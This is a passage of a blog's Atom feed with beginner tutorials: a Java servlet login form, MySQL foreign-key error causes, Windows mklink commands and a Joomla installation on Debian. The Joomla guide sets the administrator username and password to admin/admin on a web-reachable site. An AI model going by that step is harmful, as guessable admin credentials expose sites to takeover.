monospace;&quot;&gt;method=”post”&lt;/span&gt;&lt;/b&gt; : to send the form data as an HTTP POST request to the server. &lt;br /&gt;Remember the difference between &lt;b&gt;HTTP POST&lt;/b&gt; and&lt;b&gt; HTTP GET&lt;/b&gt;?&lt;br /&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;action=”servlet–URL”&lt;/b&gt;&lt;/span&gt; : specifies the URL of the servlet. &lt;br /&gt;Remember what is &lt;b&gt;Servlet-mapping&lt;/b&gt;? This is the usage of that mapping.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&amp;lt;div&amp;gt;Once done, copy and overwrite the index.html on the server. Then go to the project URL, you should see something like below :&lt;br /&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://3.bp.blogspot.com/-xfKOHx5l1SA/WHWrotqYaGI/AAAAAAAABtA/3WhVAG-VPrk6gM0ALD3i7ooutR0cUYwyACLcB/s1600/Captureformmm.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;221&quot; src=&quot;https://3.bp.blogspot.com/-xfKOHx5l1SA/WHWrotqYaGI/AAAAAAAABtA/3WhVAG-VPrk6gM0ALD3i7ooutR0cUYwyACLcB/s400/Captureformmm.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;Note that this is a simple form. We will use this similar index.html file in our Eclipse project below.&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;4. Create Servlet using Eclipse (Back End)&lt;/span&gt;&lt;/b&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;For simplicity, we use the following tutorial : &lt;a href=&quot;http://www.studytonight.com/servlet/creating-servlet-in-eclipse.php&quot;&gt;http://www.studytonight.com/servlet/creating-servlet-in-eclipse.php&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;5. Change the Servlet code&lt;/b&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;On the server side, we need to create a Java servlet which want to be mapped to loginServlet, as specified in the form’s action attribute (see our index.html above). Following is code snippet of the servlet, using the annotation method, specifically on the &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;doPost( )&lt;/b&gt;&lt;/span&gt; method&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;br /&gt;&lt;b&gt;You may want to change the package name to yours.&lt;/b&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://2.bp.blogspot.com/-6K-LDBvQHiY/WHWvy6qSXuI/AAAAAAAABtQ/kiHsuJbaY2skdC3CZOxjZfOiBwnmuKSKQCLcB/s1600/servlet.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;556&quot; src=&quot;https://2.bp.blogspot.com/-6K-LDBvQHiY/WHWvy6qSXuI/AAAAAAAABtQ/kiHsuJbaY2skdC3CZOxjZfOiBwnmuKSKQCLcB/s640/servlet.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;6. Understand the Servlet &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;Notice that the servlet’s URL is specified by the @WebServlet annotation before the servlet class. &amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;When the user submits the login form above, the servlet’s doPost() method will be invoked by the servlet container. &amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;Typically we will do the following tasks inside &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;doPost()&lt;/b&gt;&lt;/span&gt; method:&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Read values of the fields posted from the form via the request object (implementation of javax.servlet.http.HttpServletRequest interface).&lt;br /&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Do some processing, e.g. connecting to database to validate the username and password.&lt;br /&gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Return response back to the user via the respone object (implementation of javax.servlet.http.HttpServletResponse interface).&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;To read values of form’s fields, the HttpServletRequest interface provides the following methods:&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;String getParameter(String name) &lt;/b&gt;&lt;/span&gt;: gets value of a field which is specified by the given name, as a String. The method returns null if there is no form field exists with the given name.&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;String[] getParameterValues(String name)&lt;/b&gt;&lt;/span&gt; : gets values of a group of fields which have same name, in an array of String objects. The method returns null if there is no field exists with the given name.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;Usage :&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;String username = request.getParameter(“username”);&lt;/b&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;String password = request.getParameter(“password”);&lt;/b&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div&amp;gt;To send response back to the client, we need to obtain a writer from the response object by calling the method &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;getWriter()&lt;/b&gt;&lt;/span&gt; of the HttpServletResponse interface:&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;PrintWriter writer = response.getWriter();&lt;/b&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;Then use the &lt;span style=&quot;font-family: Courier New, Courier, monospace; font-weight: bold;&quot;&gt;print() &lt;/span&gt;or&lt;span style=&quot;font-family: Courier New, Courier, monospace; font-weight: bold;&quot;&gt; println()&lt;/span&gt; method to deliver the response (in form of HTML code). &amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;For example :&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;String htmlRespone = “{create-html-out-here}”;&lt;/b&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;writer.println(htmlRespone);&lt;/b&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;b style=&quot;font-size: x-large;&quot;&gt;6. Include index.html &lt;/b&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;b style=&quot;font-size: x-large;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-nNpK9LCtwhI/WHW5LsR-e3I/AAAAAAAABtg/ayXDel5iUuALD5v3_Dq9SUgFSsXINKd2ACLcB/s1600/webcontent.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://1.bp.blogspot.com/-nNpK9LCtwhI/WHW5LsR-e3I/AAAAAAAABtg/ayXDel5iUuALD5v3_Dq9SUgFSsXINKd2ACLcB/s320/webcontent.PNG&quot; width=&quot;312&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;According to this strucure, we can include our index.html direcly on our project’s &lt;b&gt;WebContent&lt;/b&gt; root on Eclipse. You can either copy the index.html and drag onto WebContent folder on Eclipse or create a new index.html file and just copy paste the content we have written previously.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;7. Create a war file of our project and export to server &lt;/span&gt;&lt;/b&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&amp;gt;On Eclipse, right-click on the &lt;b&gt;project name &amp;gt; Export &amp;gt; WAR file&lt;/b&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;b style=&quot;font-size: x-large;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;Use the &lt;b&gt;Bitvise SSH client SFTP window&lt;/b&gt; tool to transfer our war file to server Tomcat’s webapps folder.&lt;br /&gt;&lt;br /&gt;Note that when the war file are complely transferred to Tomcat’s webapps folder, it will be &lt;i&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;automatically&lt;/span&gt;&lt;/b&gt;&lt;/i&gt; uncompressed into our project folder.&lt;br /&gt;&lt;br /&gt;Access our project URL to see our deployed web application (index.html + simple Servlet).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>MySQL Error 1215 Cannot add foreign key constraint</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/10/MySQL-Error-1215-Cannot-add-foreign-key-constraint/"/>
   <updated>2017-01-10T04:42:18+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/10/MySQL-Error-1215--Cannot-add-foreign-key-constraint</id>
   <content type="html">&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; margin-bottom: 1em; padding: 0px;&quot;&gt;As a newbie, I was confused on this error until I search through StackOverflow. Phew!&lt;br /&gt;&lt;br /&gt;Reasons you may get a foreign key constraint error:&lt;/div&gt;
&lt;ul&gt;&lt;li style=&quot;border: 0px; margin: 0px 0px 0.5em; padding: 0px; word-wrap: break-word;&quot;&gt;You are not using InnoDB as the engine on all tables.&lt;/li&gt;&lt;li style=&quot;border: 0px; margin: 0px 0px 0.5em; padding: 0px; word-wrap: break-word;&quot;&gt;You are trying to reference a nonexistent key on the target table. Make sure it is a&amp;nbsp;&lt;em style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;key&lt;/em&gt;&amp;nbsp;on the other table (it can be a primary or unique key)&lt;/li&gt;&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; word-wrap: break-word;&quot;&gt;The types of the columns are not the same (exception is the column on the referencing table can be nullable).&lt;br /&gt;&lt;/li&gt;&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; word-wrap: break-word;&quot;&gt;One of the reasons may also be that the column you are using for&amp;nbsp;&lt;code style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin: 0px; padding: 1px 5px; white-space: pre-wrap;&quot;&gt;ON DELETE SET NULL&lt;/code&gt;&amp;nbsp;is not defined to be null. So make sure that the column is set default null&lt;br /&gt;&lt;/li&gt;&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; word-wrap: break-word;&quot;&gt;You are not using the same Character Set for both tables.&lt;/li&gt;&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Windows hard link and soft link (somewhat similar to Linux symlink)</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/10/Windows-hard-link-and-soft-link-(somewhat-similar-to-Linux-symlink)/"/>
   <updated>2017-01-10T04:40:23+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/10/Windows-hard-link-and-soft-link-(somewhat-similar-to-Linux-symlink)</id>
   <content type="html">&lt;div class=&quot;tr_bq&quot;&gt;&lt;b&gt;Hard Links&lt;/b&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;A hard link is the file system representation of a file. Any changes to that file are instantly visible to applications that access it through the hard links that reference it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Junctions&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;A junction (also called a soft link) differs from a hard link in that it references the target directories, as opposed to a single file.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Command :&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;blockquote&amp;gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;mklink /H destination-file-address target-file-address&lt;br /&gt;mklink /J destination-folder-address target-folder-address&lt;/span&gt;&amp;lt;/blockquote&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Installing Joomla in Debian Linux server</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/08/Installing-Joomla-in-Debian-Linux-server/"/>
   <updated>2017-01-08T16:59:26+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/08/Installing-Joomla-in-Debian-Linux-server</id>
   <content type="html">&lt;p&gt;Many websites today use Content Management Systems (CMS) that allow you to make changes to a website without needing to touch a single line of code.&lt;br /&gt;&lt;br /&gt;The most well know CMS are WordPress, Joomla and Drupal. All of them are free to install on your server.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://2.bp.blogspot.com/-Gmu_4gvWP_g/WHJu5ZP5lQI/AAAAAAAABrU/KKsNFfD2SjUTIVqNHG9LxQXNJ9bfuVVmQCLcB/s1600/Capturejoomla.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;178&quot; src=&quot;https://2.bp.blogspot.com/-Gmu_4gvWP_g/WHJu5ZP5lQI/AAAAAAAABrU/KKsNFfD2SjUTIVqNHG9LxQXNJ9bfuVVmQCLcB/s640/Capturejoomla.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;b&gt;How to install Joomla on Debian Linux.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1. Prequisite softwares. Make sure your server have these software installed&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- &lt;b&gt;MySQL&lt;/b&gt; (or any database)&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- &lt;b&gt;PHP&lt;/b&gt; (check using : &lt;b&gt;php -version&lt;/b&gt;)&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- &lt;b&gt;Apache Web Server&lt;/b&gt; (or any other web server)&lt;br /&gt;&lt;br /&gt;2. Create database for Joomla. The database will store data such as articles, menus, categories, and users.&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- login to MySQL&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- &lt;b&gt;CREATE DATABASE DB_JOOMLA&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;3. Download Joomla.&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- First, create a temporary directory called temp anywhere : mkdir temp&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- go to into the directory : cd temp&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- download Joomla to that directory : wget https://downloads.joomla.org/cms/joomla3/3-6-5/joomla_3-6-5-stable-full_package-zip?format=zip&lt;br /&gt;&lt;br /&gt;4. Copy Joomla files into Apache Web Server and set permission&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- first, create a directory&lt;b&gt; under Apache Web Server&lt;/b&gt; : mkdir -p /var/www/html/joomla&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- unzip downloaded .zip file to our folder in Apache Web Server : unzip -q Joomla_3.6.5-Stable-Full_Package.zip -d /var/www/html/joomla&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- set permission for that folder appropiately :&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;chown -R www-data.www-data /var/www/html/joomla&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;chmod -R 755 /var/www/html/joomla&lt;br /&gt;&lt;br /&gt;5. Now, we’re ready to proceed with the installation of Joomla. Go to http://{your-server-ip}/joomla.&lt;br /&gt;Installation page should appear. Provide the neccesary values and click next&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Site Name = kwt&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Description = kwt&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Admin Email = mrafsyam@gmail.com&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Admin Username = admin&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Admin password = admin&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Confirm Admin Password = admin&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-z4WHmOaRCFA/WHJvNtwJFZI/AAAAAAAABrY/PCglAdaVhmI5_QJkN7DFeK1oscNg8GWlwCLcB/s1600/joomla1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;360&quot; src=&quot;https://1.bp.blogspot.com/-z4WHmOaRCFA/WHJvNtwJFZI/AAAAAAAABrY/PCglAdaVhmI5_QJkN7DFeK1oscNg8GWlwCLcB/s640/joomla1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;b&gt;You should write down the admin username and password for you to login later (currently uses admin/admin)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. In the next page, provide the database connection&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Database Type =&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;MySQLi&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;hostname = localhost&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;username = {provide a db username}&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;password = {password}&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Database Name = db_joomla (created previoysly)&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Table Prefix = jml_ (you can provide any value here)&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-R9T7gMGvu1A/WHJvWCxCjBI/AAAAAAAABrc/Vp99cKdh4ZgcAxd0fH0OZsJieLo32RphgCLcB/s1600/joomla2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;360&quot; src=&quot;https://1.bp.blogspot.com/-R9T7gMGvu1A/WHJvWCxCjBI/AAAAAAAABrc/Vp99cKdh4ZgcAxd0fH0OZsJieLo32RphgCLcB/s640/joomla2.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;7. Next, skip the FTP configuration step.&lt;br /&gt;&lt;br /&gt;8. At Overview tab, select Blog English at Install Sample Data and press Install.&lt;br /&gt;The installation will begin.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-0WImZgV-LN8/WHJvqU4XSOI/AAAAAAAABrk/PRNi1KH56X8XZW-i-kxQ0Wyr6qQqQWlcACLcB/s1600/joomlainstall.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;360&quot; src=&quot;https://1.bp.blogspot.com/-0WImZgV-LN8/WHJvqU4XSOI/AAAAAAAABrk/PRNi1KH56X8XZW-i-kxQ0Wyr6qQqQWlcACLcB/s640/joomlainstall.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;9. Once installation is completed, remove the installation folder.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://2.bp.blogspot.com/-In6YWSrPqwA/WHJvvafgUTI/AAAAAAAABro/NTPUN-fjYbwqbaZk7Kb9gsr-badw5qDtgCLcB/s1600/joomlaremovefolder.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;360&quot; src=&quot;https://2.bp.blogspot.com/-In6YWSrPqwA/WHJvvafgUTI/AAAAAAAABro/NTPUN-fjYbwqbaZk7Kb9gsr-badw5qDtgCLcB/s640/joomlaremovefolder.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;10. Joomla is successfully installed. Go to http://{your-server-ip}/joomla/administrator/ and login as admin (check step 5). This is Joomla’s Admin Panel.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://4.bp.blogspot.com/-id0uCUs1fmM/WHJvgiRYDxI/AAAAAAAABrg/CCjWxda5lAEG_5ZVRxOqgcLr2fJZIgxzACLcB/s1600/joomladone.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;360&quot; src=&quot;https://4.bp.blogspot.com/-id0uCUs1fmM/WHJvgiRYDxI/AAAAAAAABrg/CCjWxda5lAEG_5ZVRxOqgcLr2fJZIgxzACLcB/s640/joomladone.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;11. Bravo, Joomla is installed. Go ahead and play around.&lt;br /&gt;You can view your site at http://{your-server-ip}/joomla&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>DAO and DTO</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/01/08/DAO-and-DTO/"/>
   <updated>2017-01-08T03:12:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/01/08/DAO-and-DTO</id>
